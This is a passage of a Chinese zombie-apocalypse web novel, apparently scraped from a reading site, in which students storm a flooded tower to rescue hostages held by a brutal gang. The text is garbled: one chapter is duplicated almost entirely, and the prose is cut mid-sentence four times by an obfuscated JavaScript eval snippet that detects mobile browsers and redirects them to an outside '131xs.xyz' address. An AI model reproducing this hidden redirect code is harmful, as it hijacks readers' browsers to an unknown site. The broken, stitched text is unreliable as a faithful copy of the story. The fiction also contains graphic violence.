学校大门被封死了，当时生死关头，没法考虑以后车辆进出不便的问题。要开车，就只能从后山走。 提前赶去后山的李穗打来电话：“所有车的玻璃都打碎了，只有一个车钥匙还在。不连后备箱，最多能坐6个人。” 后备箱真的不能坐，回程还要带上陈灵等被挟持的人。 加上之前姜杞、李穗撞丧尸时开的那辆车，他们最多去十二个人。 “够了。”姜杞没有再啰嗦，她们是去偷袭，不一定要人数碾压。 她已经收拾好了。 拖鞋换成了运动鞋，顾不上防水了，跑起来快最重要。长裤里带了把折叠小刀，还有楼下晾衣服的弹力绳。隐藏口袋里有修眉刀刀片、打火机、小型螺丝刀。 大型武器只带了个工兵铲，是于虹在得知末世消息后买的。 姜杞四人，加上侯源林三人，又从积极参与的人里面挑选会游泳的同学。 侯源林看向她：“你准备游泳过去？” 姜杞点头：“为了防止他们饿极了出来找吃的，必须在水完全退去前进入大楼，实现偷袭。” 她计划给对方发消息，恐吓他们水里有变异动物，千万不能下水，从而尽量把他们拖在大楼里。 最好再利用无人机空投的幌子把一部分人吸引到顶楼，既保证己方上楼的安全，又能将对方化整为零，逐个击破。 “不用会游泳。”两个声音错落响起。 苦笑的侯源林身后，走出一张笑得更苦的脸。 这张脸熟悉又陌生，熟悉是因为姜杞认识张梦娴，陌生是因为，张梦娴回到了末世前的样子。那是姜杞没见过的，崩溃的，疲惫的，又毫无办法的样子。 她说：“弘扬广场，就是我们几个实习的地方。” 弘扬广场801,一家打着公益幌子做研学，再把研学外包给旅行社的小机构。 学校强制集中实习，但可以选择地点。张梦娴和陈灵是舍友，都准备考研，图省事报的本地，被分到了这家机构。 长达一学期的实习，每天给小老板干私活，不论风吹雨打，哪怕下着大暴雪也得去十多公里外的地方和不同商家拉合作，只给报销公交钱。 本来也没工资，拉不到商家还要罚钱。 除此之外，还要加班做她们这个岗位的本职工作，开不完的没有意义的会，永远无法沟通的老板。 后来被压榨的受不了了，也想找学校闹过，他们总共十个人，每个人都组织了很久的语言，商量怎么回答，怎么应对。 但没人想听他们的话，直接一句延毕打了回来。 还没开始闹就结束了。 可最后毕业答辩的时候，当初带头找上校领导的人，还是被通知论文不通过，有延毕风险。 张梦娴，就是带头的那个。 她深呼一口气，把身上的颤抖压下去：“弘扬广场的入口紧挨隔壁酒店地下停车场的入口，地势很低。而且被堵死了，即使周围退水了，那伙人也肯定出不来。” “而且，弘扬广场和隔壁的弘扬大酒店其实是相通的。”侯源林补充道：“一楼三个电梯，但只有两个能用，就是因为那栋电梯独属于大酒店。” 不跑外勤的时候，他们就在弘扬广场八楼办公室里做本职工作，反正没有一刻能闲着。 他勉强笑了笑，这段经历仅仅是回忆就能掏空他的力气。 “我们有大酒店电梯的通行卡，直达八楼。” 大一的姜杞没法感同身受，她的身体同样紧绷，却是由于冲动与兴奋。 从想明白这次冒险是今后好好生活的必须后，她就开始享受这场刺激，这能让身体保持活力。 也让她有了不退缩的勇气。 “这栋大楼能上顶楼吗？楼梯间能反锁吗” “不清楚能不能上顶楼，楼梯间，可以反锁！” 姜杞计划着：“也就是说，我们现在需要做的就是安全到达弘扬大酒店，利用无人机吸引一部分人前往其他楼层，趁机直达八楼，然后把离开的那部分人锁在楼梯间里。” “再逐个击破。” 阮青舒提醒道：“那些人也可以做电梯啊。” 姜杞看了她一眼：“派一个人去其他楼层，把电梯拦住。” 这一眼看的阮青舒有些心慌，就这一眼，她接收到了姜杞未言表的心意。 这个安全的任务，是给她的。 想了想，张梦娴补充道：“还有个需要注意的地方。” “弘扬广场是我们实习了半年的地方，我们一般用实习机构的名字代指这里。就是因为对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236615|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然说出了弘扬广场的名字，侯源林才开始起疑对面换人了。” 她翻找着之前转发在群里的聊天记录。指着一段说：“至少这里，能保证还是陈灵。” 随即又往上翻找： 【水淹了二楼后，他们就开始慌了，可能食物快没了，他们把几个平时吃的很多总是喊饿的同学绑结实后扔进了水里】 【我知道里面有人会游泳，还偷偷把一把小刀塞给了她，但不知道她能不能活下来】 【她左胳膊上有很长一道疤，她说如果她活下去了，一定会救我的】 看到那句【把人绑结实后扔进了水里】后，所有人心都受到了不同程度的震荡，恍若一盆热水浇在了心上。 心被烫得皮开肉绽，各种心思都蹦了出来。 为什么要主动踏出校门？ 为什么一群大学生，激情澎湃喊着去杀人。 在同学眼中出风头的肤浅想法被最先冲散，紧接着是“获得更高的地位、更大的生存空间，在分配物资时更占优势”。 甚至蓬勃高涨的正义感都没有维持多久。 生存的压迫感将所有乱七八糟的心思都挤开。 某一刻，心脏只为这一个欲望而跳动。 保护自己，活下去。 听别人说和自己想明白不一样。姜杞之前的喊话像是写出来血淋淋的字，而现在他们感受到的刺激，无意是用他们自己的血写字。 这伙人，是真的会杀人的。 他们没有吃的，只要他们还活着，迟早会找上东区。 被饿狼盯上的感觉，就像一把尖刀顶在眉心。而现在，他们拥有了一个机会，在刀出鞘前就把刀废掉。 时间在流失。 必须，立刻行动。 “我们可能会有援军。”张梦娴悄么跟姜杞说。这才是她刚刚翻聊天记录的原因，但是大家情绪突然高涨起来，她就没再继续。 已经在往后山走了，姜杞摇头：“真碰上了别误伤就行了，考虑战力的时候不能把不确定的因素算进去。” 想到这里，她扭头嘱咐许尧：“准备好学校里的车，如果我们真需要援助，撞了后山的围栏也得去救我们！” 许尧点头，但姜杞瞪了他一眼，她感觉他不会撞围栏，冒着东区不再安全的风险救人。 但他把自己的命看得比谁都轻，不管怎么样，许尧肯定会来救他们。 姜杞不让许尧跟着走，许妈妈是东区的主心骨，他走了，姜杞怕大家怀疑他们跑路。 没带太多食物和水也是这个原因。 “晚上还得回来呢。”姜杞从车窗探出半个身子，冲着众人摆摆手。 他们不是敢死队，是为了活下去而冒必要的风险，所以一定会活着回来。 就连侯源林三人都暂时压下了复杂心绪，每个人都在检查自己身上的装备，在心中无数次模拟即将发生的情况，盘算怎么最大程度保护自己的安全。 东区地势高，站在宿舍楼下可以平视众多楼房的房顶。 后山的出口和弘扬广场位于一条路上，大道笔直，由南向北下降，车程大概十分钟。 但退潮的时间远超这个数据。 无人机故意把食物落在了七楼窗户下的水面上，先稳住了那伙人，再借着送第二趟食物的理由回来给外出小队探路。 水退得很快，已经退了接近两公里。 姜杞他们在车上，甚至已经能看到远方高楼上“弘扬广场”那几个厚重的红色招牌。 但更吸引他们的是水下的东西。 海水的颜色很重，看不清水下的情况。但涌动异常活跃，甚至时常有凶残小鱼跳出水面。 似乎大量海洋生物来到了浅海区。 38.潜入大厦 沿路上，他们看到的丧尸很少。 这条路由南向北平稳下降，潮水退去的速度又快，丧尸都被带走了。 阮青舒坐在车里，攥紧手里的武器，不断设想接下来会发生什么样的冲突，该怎么做。 把电梯按到其他楼层后，她就搬来东西把电梯卡住，然后去帮忙。 想要安全，可以留在学校里。来了却苟着算什么。 每个人都是主动来的。 心在胸腔中强有力的碰撞，带动着全身血液欢腾流淌，阮青舒觉得这不是紧张。 她碰了下正在观察车窗外情况的姜杞：“还是没看到丧尸？” 姜杞看着车窗外，轻声道：“活的没有，死的也很少见。” 这是山路，一开始两边都是被高墙隔离开的山体，人迹稀少。 可现在周边已经是商业区了，很多商店都敞开着门，橱柜倒塌，物资几近被潮水卷空。大量沙砾留在地面，浅浅一层，勉强覆盖住小蛤蜊的身体。大鼓包下都是月亮贝和身体扁平的小鱼。 潮水退的太快，很多小鱼小贝壳没能跟着潮水回去。 可丧尸却无一例外都被潮水卷走了。 为什么？ “水下的东西咬起来了！”开车的李穗突然惊呼道。 后排的姜杞往前趴，看向李穗指向的地方，那片翻涌的深色水域渐渐殷开一片红。 潮水翻涌，红色很快被冲淡，最终和泥水、海水混为一体。 丁宁倒吸一口冷气：“这么凶残吗？” 李穗生锈的脑袋突然转动了一下，她结巴道：“我，我好像知道水为什么会是这个颜色了。” 是各种生物在水下撕咬，血和翻涌的泥水混成了现在海水的颜色。 “可是。”她还是不太明白：“鱼身上那么多血吗？” 城里又不会喂猪养鸡。 “城市里，还能有什么大型动物。”这是个陈述句，姜杞想转过头去，但她忍着不适，强盯着那片水域观察。 “动物园里跑出来的？”李穗还没反应过来。 副驾驶上的张梦娴示意她好好开车，想了想，还是说了出来：“人，是人和丧尸。” 这曾经是独属于人类的城市。 “丧尸不只是被潮水卷走的，水里的东西吃尸体，它们把丧尸拽去了深水区。” 逻辑链终于合上了，姜杞也说不清现在是应该长舒一口气，还是把心高高提起。 丧尸被水淹死，人类得到喘息。 水生生物吃丧尸尸体，且已经出现变异迹象，如果末世是阶段式进行，下一阶段就是动物变异。 在这场大水之后，丧尸的血液已经浸润大地。 来年春天，或者更早，植物变异也是迟早的事情。 地球，已经不再是人类的地球了。 “呕——呕！” 听到声音，侯源林不假思索地掏出包里的纸巾，扭头递给右侧的女孩。 阮青舒用奇怪的目光看了他一眼，稍稍避让了一下，露出丁宁那张涨红了，正在干呕的脸。 “能行吗？”姜杞拍了拍丁宁的后背，车停了。 从车窗里，已经能看到弘扬大酒店透明的玻璃窗，以及窗里狼藉的陈设。 “让我打我就打，绝对下得去手。”丁宁忍住想呕吐的冲动，示意下车，他手中的棒球棍可是钛合金的，配上一米九八的个子，一百八的体重。只要敢打，就没有打不过的。 他挥了挥手里的棒球棍壮胆，咬牙从小轿车里挤出来。 刚下车，就看到一个瘦瘦小小手无寸铁的女孩子。 丁宁想了想，把手里的棒球棍递了过去：“你没找到合适的武器吗？要不要用这个，钛合金的。” 朱妙妙只感觉头上多了一片阴影，她没有抬头，继续在后备箱里翻找。 她从一众杂物里，掏出一个电钻。 这是个中型电钻，不插电就能使用，朱妙妙换上了最大最长的钻头，白烟从高速转动的钻头上飘起来。 兹兹的声音像在给人头骨打孔。 “不用。”她轻飘飘的话语声本来很容易被忽略掉，可当电钻声成了她说话的伴奏时，丁宁感觉全世界就只剩下一个人在说话。 “好，好。”高大男生嚅嗫道，随即默默跟在了她身后。 那女生却突然停下了脚步，丁宁连连后退，才没和人撞上。 “怎么了？”他前倾低头，却感觉自己的头触碰到什么东西。 滑滑的，有弹性，很沉重。 丁宁不敢再动，死死按住他肩膀的朱妙妙也神色凝重。丁宁强忍着恐惧不敢闭眼，慢慢的，一只布满紫色纹路的触手轻轻从他头顶落下来。 他们没有想到，变异动物来的这么快。 那是一只巨型章鱼的触手。 触手末端都有小孩臂膀粗细，上所过之处全是滑腻粘液。这是一根从空调外机落下来的触手，在感知到猎物存在后越伸越长，逐渐露出庞大的身躯。 巨大的阴影压了下来。 丁宁缓缓抬头，阴影中，他隐约看到了章鱼细密的牙齿…… “*！”张长胜看着手机里传来的照片，抱着胳膊瑟缩了一下：“这玩意，看起来能吃人！” 陈宇抿着烟嘴，其实里面早就吸不出任何味道了。 他不耐烦地踢了小弟一脚：“催催，别拍什么怪物了，解决完吃饭问题再套话。” 那点面包泡面本来就不够吃，掉进水里最后也只捞上来了三个。 小弟点头，他重新扫了一遍对面发来的消息： 猴子：【无人机拍到外面有变异动物，而且大多是水生生物,你千万别想着跳海求生！】 张长胜迅速回复：【嗯，我记住了，你操纵无人机飞高点，别被变异动物缠上了。】 【飞高点，直接从高处下到七楼，也不会被六楼看见。】 猴子：【已经到了】 猴子：【你往外面看】 陈宇拎起那个瘦弱女生的衣领，一把甩向窗边。 他又踹了把小刀跟上，站在窗帘后面。 “别耍花招，接过来吃的，要不然捅死你。” 陈灵脸上几乎没有了血色，站也难站稳，实在没办法，陈宇装作同样被挟持的同学，扶着她站在窗边。 持刀的手抵在陈灵腰间。 带着物资的无人机很快落下，巨大噪音卷着风而来。 陈宇看到了物资，那是满满一袋的面包零食！尖刀下意识向前抵，他催促着陈灵去接物资。 两只细长胳膊缓缓抬起，看起来毫无力气。 陈宇有些急躁，整个房间的人都生怕陈灵接不住。 操纵无人机好像也感知到了陈灵的状态，作势要往里面冲进来，陈宇不敢让无人机进门，又不敢推窗户打落它，胶着中，门外的电梯无声升上来。 所有人都关注着无人机上的物资，和接下来的物资分配。 没人发现电梯动了。 电梯稳步上升，在即将到达八楼时，无人机突然故障般发出巨大的声响，随即一个猛冲冲进房间里！ 人群的惊呼声和无人机转动的噪音混在一起，淹没了电梯到达的动静。 “叮咚~” 安静的空间里，姜杞的心跳几乎和这声机械音一样重。 十一个人踮着脚尖，深吸一口气走出电梯，在侯源林三人的带领下，众人转过走廊，穿过被分割的各个功能区，走到那一排挂着各个机构名称的办公室前。 张梦娴从门口的相框里摸出钥匙，利落开门。 进门后，又熟练地从门后掏出一把钥匙，塞进自己裤兜里。 “万一对抗的时候发生追击，实在没办法了可以躲进来。”张梦娴从柜子里拿出一袋老式爆米花分给大家：“吃饱了再出发。” 侯源林在手机上给对面发消息，准备借口有物资掉在了八楼空调外机上，把一部分人引过来。 806也是他们办公室，而且常年不上锁。 如果能把部分人引到806，再从外面关上门，就相当于直接把这些人干掉了。 猴子：【还有一小袋物资，掉在八楼空调外机上了，太可惜了】 猴子：【照片jpj】 张长胜快速点开图片，粗略估算大概位置，几乎没任何思考，他秒删掉了对话和照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248059|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他想昧下这笔物资。 不心虚是不可能的，他连呼吸都长了，装作不经意地抬头打量。 仅片刻，阴影将他覆盖，那张他正在寻找的脸笑着出现在他头顶。 “老，老大……”张长胜觉得自己应该是有求饶的，可当头狠狠撞在地上后，他感受着嘴里渐渐浓郁的铁锈味，记不清自己到底有没有来得及说话。 陈宇笑着，他恨得要咬牙。 如果这里有条狗，他会放狗咬这个**。 没关系，他一手抓着张长胜油腻的卷发，一手攥着他的衣领，先是压着人到窗边，享受了这人的恐惧尖叫后，又拖着挣扎的人走到外面。 他从后腰掏出从不离手的砍刀，一刀砍在张长胜两腿之间。 瘫在地上的张长胜嚎叫着躲开了，可那个发疯的男人一刀一刀砍下来，他连声尖叫，那人就比他的喊叫声砍的更快。 砍刀劈碎了木板。 身后没空了！冰冷的硬物抵在他头顶后肩，张长胜摸索着，靠着身后的硬物站起来。 他摸到那是什么了。 也明白了陈宇想做什么。 张长胜结结巴巴语无伦次的求饶，鼻涕阻塞了他发出的声音，泪水模糊视线，他根本不知道陈宇怎么发现的，发现了多少，自己现在又应该怎么做。 陈宇没给他解释的机会，摆在他面前的只有两条死路。 万一呢……万一被丧尸咬了不会死呢？ 万一变成丧尸后能维持意识呢？ 张长胜眼中的死神不紧不慢地擦了擦砍刀，用嘴。 这是他在小说里学到的。 这个拎着刀，看起来高大凶狠的年轻人，其实在末世降临的前一天才刚满十八岁。 他和张奇伟一样，都认为自己拿了男频末世征战主角剧本。 如果张奇伟跑的再晚一点，自己应该能杀了他。陈宇拿着刀缓缓逼近，在一片血色里突然想到。 那个“带人外出寻找物资，却再也没能回来”的前任老大，就是曾把丧尸往东区引的张奇伟。 如果，张奇伟真的有……系统。 陈宇心想，那自己就必须杀了他。 贪婪与野心相继爆发，如风与火般缠绕，相生相佐，更加助长了他身上的凶残。 这份凶残没能发泄出来，张长胜竟然真的爬梯子了。 陈宇快步上前，一刀猛地砍在梯子上！ 身下的梯子在剧烈晃动，向一边倒去。极度恐惧中，张长胜直接向那个高窗口跳过去。 他跳上去了。 跳上了另一条死路。 他狂笑，甚至没等张长胜继续逼赶，直接翻身，跳进里面的屋子里：“等我变成丧尸咬死你！” 狂笑很快被尖叫声淹没。 事情解决了，陈宇对那个屋子里的动静不再抱有任何兴趣，把砍刀插回后腰，直接向站起来、围在一起的小弟小妹们走去。 他掏出一个手机，声音严厉，又饱含痛心：“张长胜背叛了我们。” “这部手机，可以查看任何连着弘扬大厦网络的手机信息。”一切都在他的掌控之下，要不然，他怎么敢把这么重要的事情交给别人。 陈宇居高临下的打量着每个人：“对面说有物资掉在了八楼空调外机上，张长胜删掉了信息，想私吞。” 十来个年轻男女几乎立刻炸开了锅，愤恨的骂起来。 疲惫和饥饿叠加，在相继被丧尸、水灾困在高楼接近七天后，这群年轻人早就变成了疯子。 陈宇阴郁的脸上流露出淡淡的满意，他继续煽动着众人的情绪：“已经是末世了，我们必须团结在一起，想私吞，就得喂丧尸。” “喂丧尸！” “*的，本来就没几口吃的，老大都没分到几口，这小子还想私吞！” “别说了，赶紧去把八楼的物资搞下来吧。” “别慌。” 陈宇抬手往下压，示意众人安静，同时点开另一个页面给大家看。 他被阴影模糊的半张脸似乎在笑。 “在发现张长胜背叛前，我刚发现，八楼的网络新连上了三个设备。” 39.这里没有好人 黑暗中的唯一亮处，李宁和同伴歇斯底里上演着这出拙劣闹剧。 顾不上后果了，他们只在乎自己现在能不能活下去。 灰尘混着血腥味。 姜杞等人隐藏在大厅的各个角落，借着黑暗隐蔽身形，稳住怦怦乱跳的心，等待电梯的动静。 电梯动了！ 紧张中，姜杞还不忘提醒一楼的阮青舒记得行动。 阮青舒却先一步发来消息： 【电梯去了2楼！】 姜杞的心连跳了好几下。 消息是发在大群里的，所有人都能看到，凝滞的空气被猛然打破。 无形压力层层落下，姜杞忽然感觉自己看似严密的计划其实拙劣无比，一群半吊子大学生组成的草台班子，校内危机尚未完全解决，还主动跑到校外清除潜在风险。 对面不是呆板的npc，不可能完全按她的设想行动。 思绪万千，实则仅过去一瞬。 【他们又按了6到2的所有楼层】 看到阮青舒发的新消息的时候，摇摆的目光在呼吸间恢复锐利。 姜杞在实战中迅速成长，她想明白了，既然计划是分散对方，那他们去哪个楼层其实无所谓。 “直接去七楼！” 长久建立起来的信任没有姜杞想象的脆弱，当她行动起来时，没有一个人迟疑。 两个学姐更是兴奋得绷紧肌肉，灵活窜过复杂的桌：“终于干他们了！” 丁宁这才想起来跟姜杞汇报：“最初从电梯上来的其实就是俘虏，看起来很虚，被后面的人推着走。他们用俘虏打头阵，没敢进806，我们就直接把俘虏关在里面了。” 其实学姐们太凶残，在没拿武器装弱情况下还暴打了守在门口的人，吓得里面的两个人滑步上前手忙脚乱反锁了门。 他嚅嗫道：“反正目的都是保护他们。” 这是条重要信息，姜杞很快反应过来，喊住张梦娴：“姐妹，去问问806的人六七楼的情况！” 终于有机会摸清敌情了！ 张梦娴也立刻意识到了这点，点头跑向806。 “等等！” 姜杞突然大喊，那声坚决的叫喊直接将张梦娴惊住。 两个人已经相隔很远了。 姜杞咬字很重，重到让张梦娴感觉距离被模糊。 她说：“问清楚就赶紧回来，别在手机上发消息。” 这里没有监控，或者说很少。 非科学的可能性极低，那就只能用科学手段来解释。 她怀疑那伙人在某些地方安装了隐秘摄像头。 或者，能监视她们的手机。 随着阮青舒在群里发出消息，一直蹲守在十一楼的侯源林等人终于行动起来。 他跟姜杞想的一样，只要那伙人从七楼离开，去哪里影响不大。 该去七楼了。 心中的火已经压抑太久，终于到了灼烧的时刻。 两伙人在七楼楼梯间相遇，人们七手八脚的把正欲灼烧的侯源林挤去后面。 “别摆着那张奔丧的脸啊！生怕别人看不出来你是救人的！” “一会看见你女朋友可别哭，算我求你。” 细小的说话声像有大苍蝇在楼道里飞，姜杞抬手示意安静，确定门后面没动静后，才小心推门。 和主要是办公区的八楼不同，七楼是活动区，被分割成几个大区域：超大会议厅、舞蹈室、图书角，并不能一眼看到所有地方。 里面很黑，也很静。 又不是在上晚自习，这么安静真是有鬼了。 姜杞拦住正准备冲进去的两个学姐，脱了身棉服护住脸，小心往里面挪动了一点。 因为棉服盖着脸，她几乎感知不到风的流动。 直到肩颈处传来巨大的冲击！ 后面的俩学姐一个猛得拽了她一把，一个直接踢了过去。 棉服抵挡了大量的冲击，巨量肾上腺素的爆发压下了疼痛感，姜杞举起钢棍朝对面那人的脸扫了过去！ 丁宁大喝一声，整个人把防盗门挤开，身后的人们像炮弹一样冲出。 恐怖的电钻声从最深的黑暗中响起。 电钻声起初只是引起了一点恐慌，擅长肉搏的两个学姐最先感受到了对面的迟疑，肉身对电钻的恐惧几乎无法人为克制。 赵佐已经抓住对面握紧木棍的手了，对面一迟疑，她的嘴就直接咬了上去！ “啊啊啊！丧尸，这些不是人是丧尸啊！” 知道我们是人还下死手，赵佐更生气了，死死咬住那个扑腾的像只鱼的手，血从她嘴角流下，脸上因对面的挣扎也一片粘稠。 对面似乎有人不信邪，打开了手机手电筒。 夺目亮光打在赵佐血肉模糊的脸上，她低头咬着那人的手，只有眼睛抬了起来。 两抹白，两点黑，冷冷盯着前方。 她身后人影错落，丁宁庞大的身躯在最中央，被棉衣包裹着像个圣诞老人，一手抵着一个头，在光打过来的时候正好将按着那两个人的头撞在一起。 侯源林等人在丁宁周围散开，已经冲出一段距离。手电筒照亮他们手上的砍刀钢管，寒光杂着血光，趁着亮光闪电般压下来。 手电筒的光一闪而过，砍刀发出的冷光仿佛在眼中挥之不去，这伙凶残的饿人才意识到自己拿着桌子腿在和什么人战斗！ 最可怕的，还是在最后。 一个娇小的身影隐藏在那个大块头身后，如果不注意去看很难被发现。她也不近身缠斗，也不拿着武器攻击。 只手里的电钻嗡嗡作响。 哪边的局势紧张，她就抬起电钻作势朝那个方向走。 晃动的光使她的身影时隐时现，仿佛是会瞬移的魔鬼。 尖叫声此起彼伏。 打开手电筒的那人已经想跑了。 踉跄退了两步，他突然意识到光亮也会暴露自己，慌乱准备关上手机。 破空声响起！手机和他的尖叫声一起飞起来。 潜行在黑暗里的张梦娴打掉了他的手机。 她身后，一男一女冲上来，两人看起来虚弱无力，但咬紧的牙关、绷紧的身体，又显示出他们已拼尽全力。 这是一开始把自己关在806的两人。 两人把地上的人死死压在身下，用牙咬，脱了鞋打。 女生喘了口气朝众人大喊：“那伙人总共17个！” “被挟持的人只有陈灵一个在七楼，六楼加上我们还剩8个，你们快去救他们，我们能帮忙！” 侯源林大喊：“陈灵现在在哪？” 女生闻言，狠狠扇了地上的人一巴掌：“有手机的那个女生现在在哪！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但陈灵没有跑，勒住她脖子的手松了，窒息感觉还没散，她头晕目眩，但仇恨让她拽住身后那人的衣服，不让他跑。 许久未咀嚼的嘴死死咬住眼前的肉，拼尽全力，也许是胳膊，也许是手。 弄死他。 陈灵脑子里只剩这一个想法。 陈宇身后的那个人也是这样想的。 她太久没吃东西了，拔刀的那一刻甚至在颤抖。 身边被敌人环绕，谁也知道她哪来的胆量趁着黑暗混进来。 她左胳膊上有一道很长的疤，是被陈宇打出来的。 她身上的衣服湿了又干，干了又湿，水灾后，她靠下水捞东西活下来。 她说了，如果自己活下来，一定会去救陈灵。 杜梦雨砍向身前的人。 她周围，听信陈宇的人操着棍棒慌乱打下来。 可杜梦雨没有逃走。 被挟持的时候她就知道了，棍棒能打疼人，但打不死。 但她手里的刀，一定会把陈宇杀死！ 40.这里没有好人 黑暗中的唯一亮处，李宁和同伴歇斯底里上演着这出拙劣闹剧。 顾不上后果了，他们只在乎自己现在能不能活下去。 灰尘混着血腥味。 姜杞等人隐藏在大厅的各个角落，借着黑暗隐蔽身形，稳住怦怦乱跳的心，等待电梯的动静。 电梯动了！ 紧张中，姜杞还不忘提醒一楼的阮青舒记得行动。 阮青舒却先一步发来消息： 【电梯去了2楼！】 姜杞的心连跳了好几下。 消息是发在大群里的，所有人都能看到，凝滞的空气被猛然打破。 无形压力层层落下，姜杞忽然感觉自己看似严密的计划其实拙劣无比，一群半吊子大学生组成的草台班子，校内危机尚未完全解决，还主动跑到校外清除潜在风险。 对面不是呆板的npc，不可能完全按她的设想行动。 思绪万千，实则仅过去一瞬。 【他们又按了6到2的所有楼层】 看到阮青舒发的新消息的时候，摇摆的目光在呼吸间恢复锐利。 姜杞在实战中迅速成长，她想明白了，既然计划是分散对方，那他们去哪个楼层其实无所谓。 “直接去七楼！” 长久建立起来的信任没有姜杞想象的脆弱，当她行动起来时，没有一个人迟疑。 两个学姐更是兴奋得绷紧肌肉，灵活窜过复杂的桌：“终于干他们了！” 丁宁这才想起来跟姜杞汇报：“最初从电梯上来的其实就是俘虏，看起来很虚，被后面的人推着走。他们用俘虏打头阵，没敢进806，我们就直接把俘虏关在里面了。” 其实学姐们太凶残，在没拿武器装弱情况下还暴打了守在门口的人，吓得里面的两个人滑步上前手忙脚乱反锁了门。 他嚅嗫道：“反正目的都是保护他们。” 这是条重要信息，姜杞很快反应过来，喊住张梦娴：“姐妹，去问问806的人六七楼的情况！” 终于有机会摸清敌情了！ 张梦娴也立刻意识到了这点，点头跑向806。 “等等！” 姜杞突然大喊，那声坚决的叫喊直接将张梦娴惊住。 两个人已经相隔很远了。 姜杞咬字很重，重到让张梦娴感觉距离被模糊。 她说：“问清楚就赶紧回来，别在手机上发消息。” 这里没有监控，或者说很少。 非科学的可能性极低，那就只能用科学手段来解释。 她怀疑那伙人在某些地方安装了隐秘摄像头。 或者，能监视她们的手机。 随着阮青舒在群里发出消息，一直蹲守在十一楼的侯源林等人终于行动起来。 他跟姜杞想的一样，只要那伙人从七楼离开，去哪里影响不大。 该去七楼了。 心中的火已经压抑太久，终于到了灼烧的时刻。 两伙人在七楼楼梯间相遇，人们七手八脚的把正欲灼烧的侯源林挤去后面。 “别摆着那张奔丧的脸啊！生怕别人看不出来你是救人的！” “一会看见你女朋友可别哭，算我求你。” 细小的说话声像有大苍蝇在楼道里飞，姜杞抬手示意安静，确定门后面没动静后，才小心推门。 和主要是办公区的八楼不同，七楼是活动区，被分割成几个大区域：超大会议厅、舞蹈室、图书角，并不能一眼看到所有地方。 里面很黑，也很静。 又不是在上晚自习，这么安静真是有鬼了。 姜杞拦住正准备冲进去的两个学姐，脱了身棉服护住脸，小心往里面挪动了一点。 因为棉服盖着脸，她几乎感知不到风的流动。 直到肩颈处传来巨大的冲击！ 后面的俩学姐一个猛得拽了她一把，一个直接踢了过去。 棉服抵挡了大量的冲击，巨量肾上腺素的爆发压下了疼痛感，姜杞举起钢棍朝对面那人的脸扫了过去！ 丁宁大喝一声，整个人把防盗门挤开，身后的人们像炮弹一样冲出。 恐怖的电钻声从最深的黑暗中响起。 电钻声起初只是引起了一点恐慌，擅长肉搏的两个学姐最先感受到了对面的迟疑，肉身对电钻的恐惧几乎无法人为克制。 赵佐已经抓住对面握紧木棍的手了，对面一迟疑，她的嘴就直接咬了上去！ “啊啊啊！丧尸，这些不是人是丧尸啊！” 知道我们是人还下死手，赵佐更生气了，死死咬住那个扑腾的像只鱼的手，血从她嘴角流下，脸上因对面的挣扎也一片粘稠。 对面似乎有人不信邪，打开了手机手电筒。 夺目亮光打在赵佐血肉模糊的脸上，她低头咬着那人的手，只有眼睛抬了起来。 两抹白，两点黑，冷冷盯着前方。 她身后人影错落，丁宁庞大的身躯在最中央，被棉衣包裹着像个圣诞老人，一手抵着一个头，在光打过来的时候正好将按着那两个人的头撞在一起。 侯源林等人在丁宁周围散开，已经冲出一段距离。手电筒照亮他们手上的砍刀钢管，寒光杂着血光，趁着亮光闪电般压下来。 手电筒的光一闪而过，砍刀发出的冷光仿佛在眼中挥之不去，这伙凶残的饿人才意识到自己拿着桌子腿在和什么人战斗！ 最可怕的，还是在最后。 一个娇小的身影隐藏在那个大块头身后，如果不注意去看很难被发现。她也不近身缠斗，也不拿着武器攻击。 只手里的电钻嗡嗡作响。 哪边的局势紧张，她就抬起电钻作势朝那个方向走。 晃动的光使她的身影时隐时现，仿佛是会瞬移的魔鬼。 尖叫声此起彼伏。 打开手电筒的那人已经想跑了。 踉跄退了两步，他突然意识到光亮也会暴露自己，慌乱准备关上手机。 破空声响起！手机和他的尖叫声一起飞起来。 潜行在黑暗里的张梦娴打掉了他的手机。 她身后，一男一女冲上来，两人看起来虚弱无力，但咬紧的牙关、绷紧的身体，又显示出他们已拼尽全力。 这是一开始把自己关在806的两人。 两人把地上的人死死压在身下，用牙咬，脱了鞋打。 女生喘了口气朝众人大喊：“那伙人总共17个！” “被挟持的人只有陈灵一个在七楼，六楼加上我们还剩8个，你们快去救他们，我们能帮忙！” 侯源林大喊：“陈灵现在在哪？” 女生闻言，狠狠扇了地上的人一巴掌：“有手机的那个女生现在在哪！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 